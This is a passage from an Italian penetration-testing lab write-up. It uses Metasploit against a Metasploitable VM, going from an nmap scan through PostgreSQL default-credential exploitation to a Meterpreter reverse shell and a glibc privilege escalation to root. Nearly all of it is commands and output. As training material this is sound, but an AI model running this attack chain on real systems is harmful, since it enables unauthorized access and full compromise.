

ESERCIZIO EXPLOIT CON METASPLOIT

1. Primo step verifico gli IP delle macchine ed eseguo una scansione delle porte e dei servizi del mio target:

```
File Actions Edit View Help
(kali@kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:e6:4a:9c brd ff:ff:ff:ff:ff:ff
    inet 192.168.150.11/24 brd 192.168.150.255 scope global dynamic noprefixroute eth0
        valid_lft 3725sec preferred_lft 3725sec
    inet6 fe80::4fde:846e:3f6a:2abd/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
$ sudo nmap -O 192.168.150.10
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 15:10 EDT
Nmap scan report for 192.168.150.10
Host is up (0.00021s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:8B:09:3D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
```

```

msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:8b:09:3d brd ff:ff:ff:ff:ff:ff
    inet 192.168.150.10/24 brd 192.168.150.255 scope global eth0
    inet6 fe80::a00:27ff:fe8b:93d/64 scope link
        valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$

```

2. Avvio Metasploit con il comando msfconsole:

```

(kali@kali)-[~]
$ msfconsole
Metasploit tip: Start commands with a space to avoid saving them to history

      .'.
      .\$$$$L..,,=aaccaacc%#s$b.      d8,      d8P
      #$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ `BP d888888p
      '7$$$$\'''''''''''''''''''''' .7$$$|D*'''''''
      .os#s$|8*'      d8P      ?8b 88P
      .oaS##S*'      d8P d8888b $whi?88b 88b
      .os$$$$$*' ?88,.d88b, d88 d8P' ?88 88P `?8b
      .a$$$$$Q*' `?88' ?88 ?88 88b d88 d88
      .a$$$$$$$''      88b d8P 88b`?8888P'
      .s$$$$$$$''      888888P' 88n
      .a$$$$$$$P'      d88P' ..,ass;;
      .a$###$$$P' .., -aqsc#5$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'
      .a$$$$$$$P' .., -ass#5$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$###5555'
      .a$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#=-''''''/$$$$$$$'
      ,8$$$$$$$'
      ll66$$$$$'
      .;;lll6666'
      ...;;lllll6'
      .....;;llll;;.....
      .....;lll;.....

+ -- ==[ metasploit v6.4.20-dev ]
+ -- ==[ 2440 exploits - 1253 auxiliary - 429 post ]
+ -- ==[ 1471 payloads - 47 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

```

3. Con il comando search cerco il modulo richiesto da traccia:

```
msf6 > search postgres_

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/analyze/crack_databases	.	normal	No	Password Cracker: Databases
1	\ action: hashcat	.	.	.	Use Hashcat
2	\ action: john	.	.	.	Use John the Ripper
3	exploit/multi/postgres/postgres_copy_from_program_cmd_exec	2019-03-20	excellent	Yes	PostgreSQL COPY FROM PROGRAM Command Execution
4	\ target: Automatic	.	.	.	.
5	\ target: Unix/OSX/Linux	.	.	.	.
6	\ target: Windows - PowerShell (In-Memory)	.	.	.	.
7	\ target: Windows (CMD)	.	.	.	.
8	exploit/multi/postgres/postgres_createlang	2016-01-01	good	Yes	PostgreSQL CREATE LANGUAGE Execution
9	auxiliary/scanner/postgres/postgres_dbname_flag_injection	.	normal	No	PostgreSQL Database Name Command Line Flag Injection
10	auxiliary/scanner/postgres/postgres_login	.	normal	No	PostgreSQL Login Utility
11	auxiliary/admin/postgres/postgres_readfile	.	normal	No	PostgreSQL Server Generic Query
12	auxiliary/admin/postgres/postgres_sql	.	normal	No	PostgreSQL Server Generic Query
13	auxiliary/scanner/postgres/postgres_version	.	normal	No	PostgreSQL Version Probe
14	exploit/linux/postgres/postgres_payload	2007-06-05	excellent	Yes	PostgreSQL for Linux Payload Execution
15	\ target: Linux x86	.	.	.	.
16	\ target: Linux x86_64	.	.	.	.
17	exploit/windows/postgres/postgres_payload	2009-04-10	excellent	Yes	PostgreSQL for Microsoft Windows Payload Execution
18	\ target: Windows x86	.	.	.	.
19	\ target: Windows x64	.	.	.	.
20	auxiliary/scanner/postgres/postgres_hashdump	.	normal	No	Postgres Password Hashdump
21	auxiliary/scanner/postgres/postgres_schemadump	.	normal	No	Postgres Schema Dump

Interact with a module by name or index. For example `info 21`, use `21` or use `auxiliary/scanner/postgres/postgres_schemadump`

```
msf6 > |
```

4. Seleziono il modulo 14 con il comando use e poi con il comando options osservo come va compilato il modulo:

```
msf6 > use 14
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):
```

Name	Current Setting	Required	Description
VERBOSE	false	no	Enable verbose output

Used when connecting via an existing SESSION:

Name	Current Setting	Required	Description
SESSION		no	The session to run this module on

Used when making a new connection via RHOSTS:

Name	Current Setting	Required	Description
DATABASE	postgres	no	The database to authenticate against
PASSWORD	postgres	no	The password for the specified username. Leave blank for a random password.
RHOSTS		no	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	5432	no	The target port
USERNAME	postgres	no	The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Linux x86

View the full module info with the `info`, or `info -d` command.

5. Ora procedo a settare il payload:

```
msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.150.10
rhosts => 192.168.150.10
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.150.11
lhost => 192.168.150.11
msf6 exploit(linux/postgres/postgres_payload) > █
```

6. Eseguo un altro options per verificare che sia tutto corretto prima di runnare il payload:

```
msf6 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):



| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |



Used when connecting via an existing SESSION:



| Name    | Current Setting | Required | Description                       |
|---------|-----------------|----------|-----------------------------------|
| SESSION |                 | no       | The session to run this module on |



Used when making a new connection via RHOSTS:



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against                                                                                                                                                                |
| PASSWORD | postgres        | no       | The password for the specified username. Leave blank for a random password.                                                                                                                         |
| RHOSTS   | 192.168.150.10  | no       | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 5432            | no       | The target port                                                                                                                                                                                     |
| USERNAME | postgres        | no       | The username to authenticate as                                                                                                                                                                     |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.150.11  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Linux x86 |



View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > █
```


7. Avvio il payload con run ottenendo l'accesso e verifico subito che permessi ho in questo caso mi trovo come utente normale:

```
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.150.11:4444
[*] 192.168.150.10:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/DiBuSvip.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.150.10
[*] Meterpreter session 1 opened (192.168.150.11:4444 → 192.168.150.10:35426) at 2024-09-25 15:16:47 -0400

meterpreter > getuid
Server username: postgres
meterpreter > █
```

8. A questo punto esco dalla sessione lasciandola in background e procedo a cercare un payload che mi permetta l'escalation dei privilegi con search:

```
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(linux/postgres/postgres_payload) > search suggest

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/icmp_exfil	.	normal	No	ICMP Exfiltration Service
1	exploit/windows/browser/ms10_018_ie_behaviors	2010-03-09	good	No	MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free
2	\ target: (Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista	.	.	.	.
3	\ target: IE 6 SP0-SP2 (onclick)	.	.	.	.
4	\ target: IE 7.0 (marquee)	.	.	.	.
5	post/multi/recon/local_exploit_suggester	.	normal	No	Multi Recon Local Exploit Suggester
6	auxiliary/scanner/http/nagios_xi_scanner	.	normal	No	Nagios XI Scanner
7	post/osx/gather/enum_colloquy	.	normal	No	OS X Gather Colloquy Enumeration
8	\ action: ACCOUNTS	.	.	.	Collect the preferences plists
9	\ action: ALL	.	.	.	Collect both the plists and chat logs
10	\ action: CHATS	.	.	.	Collect chat logs with a pattern
11	post/osx/manage/sonic_pi	.	normal	No	OS X Manage Sonic Pi
12	\ action: Run	.	.	.	Run Sonic Pi code
13	\ action: Stop	.	.	.	Stop all jobs
14	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
15	exploit/windows/http/sharepoint_data_deserialization	2020-07-14	excellent	Yes	SharePoint DataSet / DataTable Deserialization
16	\ target: Windows EXE Dropper	.	.	.	.
17	\ target: Windows Command	.	.	.	.
18	\ target: Windows Powershell	.	.	.	.
19	exploit/windows/smb/timbuktu_plughntcommand_bof	2009-06-25	great	No	Timbuktu PlughNTCommand Named Pipe Buffer Overflow

Interact with a module by name or index. For example info 19, use 19 or use exploit/windows/smb/timbuktu_plughntcommand_bof

9. Seleziono il payload trovato, apro con options le opzioni del modulo e noto che devo inserire la sessione per eseguirlo , quindi verifico le sessioni aperte :

```
msf6 exploit(linux/postgres/postgres_payload) > use 5
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

  Name          Current Setting  Required  Description
  ---          -
SESSION         yes              yes       The session to run this module on
SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > show sessions

Active sessions
=====

  Id  Name  Type                Information                                     Connection
  --  ---  --
  1    meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.150.11:4444 → 192.168.150.10:35426 (192.168.150.10)

msf6 post(multi/recon/local_exploit_suggester) > |
```

10. Setto la sessione e la runno:

```
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
```

11. Una volta eseguito seleziono dall'elenco le vulnerabilità testate che possono funzionare:

```
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.150.10 - Collecting local exploits for x86/linux...
[*] 192.168.150.10 - 196 exploit checks are being tried...
[*] 192.168.150.10 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.150.10 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.150.10 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.150.10 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.150.10 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.150.10 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.150.10 - Valid modules for session 1:

# Name Potentially Vulnerable? Check Result
-
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/su_login Yes The target appears to be vulnerable.
6 exploit/unix/local/setuid_nmap Yes The target is vulnerable. /usr/bin/nmap is setuid
7 exploit/linux/local/abrt_raceabrt_priv_esc No The target is not exploitable.
8 exploit/linux/local/abrt_sosreport_priv_esc No The target is not exploitable.
9 exploit/linux/local/af_packet_chocobo_root_priv_esc No The target is not exploitable. System architecture i686 is not supported
10 exploit/linux/local/af_packet_packet_set_ring_priv_esc No The target is not exploitable.
11 exploit/linux/local/ansible_node_deployer No The target is not exploitable. Ansible does not seem to be installed, unable to find ansible executable
12 exploit/linux/local/apport_abrt_chroot_priv_esc No The target is not exploitable.
13 exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc No The target is not exploitable.
14 exploit/linux/local/bpf_priv_esc No The target is not exploitable.
15 exploit/linux/local/bpf_sign_extension_priv_esc No The target is not exploitable. System architecture i686 is not supported
16 exploit/linux/local/cve_2021_3490_ebpf_slu32_bounds_check_lpe No The target is not exploitable. System architecture i686 is not supported
17 exploit/linux/local/cve_2021_38648_omigod No The target is not exploitable. The omiserver process was not found.
18 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec No The target is not exploitable. System architecture i686 is not supported
19 exploit/linux/local/cve_2022_0847_dirtytype No The target is not exploitable. Linux kernel version 2.6.24 is not vulnerable
20 exploit/linux/local/cve_2022_1043_io_uring_priv_esc No The target is not exploitable.
21 exploit/linux/local/desktop_privilege_escalation No The target is not exploitable.
22 exploit/linux/local/diamorphine_rootkit_signal_priv_esc No The target is not exploitable. Diamorphine is not installed, or incorrect signal '64'
23 exploit/linux/local/docker_cgropo_escape No The target is not exploitable. Kernel version 2.6.24-10-server may not be vulnerable depending on the host
24 exploit/linux/local/docker_daemon_privilege_escalation No The target is not exploitable.
25 exploit/linux/local/docker_privileged_container_escape No The target is not exploitable. Not inside a Docker container
26 exploit/linux/local/exim4_deliver_message_priv_esc No Cannot reliably check exploitability.
27 exploit/linux/local/glibc_realpath_priv_esc No The target is not exploitable.
28 exploit/linux/local/glibc_tunables_priv_esc No Cannot reliably check exploitability. Could not get the version of glibc
29 exploit/linux/local/hp_xglance_priv_esc No The target is not exploitable. /opt/perf/bin/xglance-bin file not found
30 exploit/linux/local/juju_run_agent_priv_esc No The target is not exploitable.
31 exploit/linux/local/ktsuss_suid_priv_esc No The target is not exploitable. /usr/bin/ktsuss file not found
32 exploit/linux/local/lastore_daemon_dbus_priv_esc No The target is not exploitable.
33 exploit/linux/local/libuser_roothelper_priv_esc No The target is not exploitable. /usr/sbin/userhelper file not found
34 exploit/linux/local/nested_namespace_idmap_limit_priv_esc No The target is not exploitable. /usr/bin/newuidmap file not found
35 exploit/linux/local/network_manager_vpn_username_priv_esc No The target is not exploitable.
36 exploit/linux/local/ntfs3g_priv_esc No The target is not exploitable.
37 exploit/linux/local/omniresolve_suid_priv_esc No The target is not exploitable. /opt/omni/bin/omniresolve file not found
```

12. Scelgo di utilizzare l' 1 ma noto che l' architettura è k' OS sono diversi dalla mia macchina target quindi con un paio di set modifico il payload:

```
[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms10_018_ie_behaviors) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
```

13. Con option verifico che cosa devo inserire e setto la sessione per poi procedere al run:

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name                Current Setting  Required  Description
  ---                -
  SESSION              /bin/ping        yes       The session to run this module on
  SUID_EXECUTABLE      yes              yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.150.11  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.
```

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > █
```


14. Alla fine eseguo un controllo con `getuid` e noto di essere diventato Root completando così l'escalation:

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.150.11:4444
[*] Sending stage (1017704 bytes) to 192.168.150.10
[*] Meterpreter session 2 opened (192.168.150.11:4444 → 192.168.150.10:42232) at 2024-09-25 15:29:56 -0400
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.wdUjxxQ01' (1271 bytes) ...
[*] Writing '/tmp/.sDokGGi' (291 bytes) ...
[*] Writing '/tmp/.EH5Sp' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.150.10
[*] Meterpreter session 3 opened (192.168.150.11:4444 → 192.168.150.10:42240) at 2024-09-25 15:29:59 -0400

meterpreter > getuid
Server username: root
meterpreter > █
```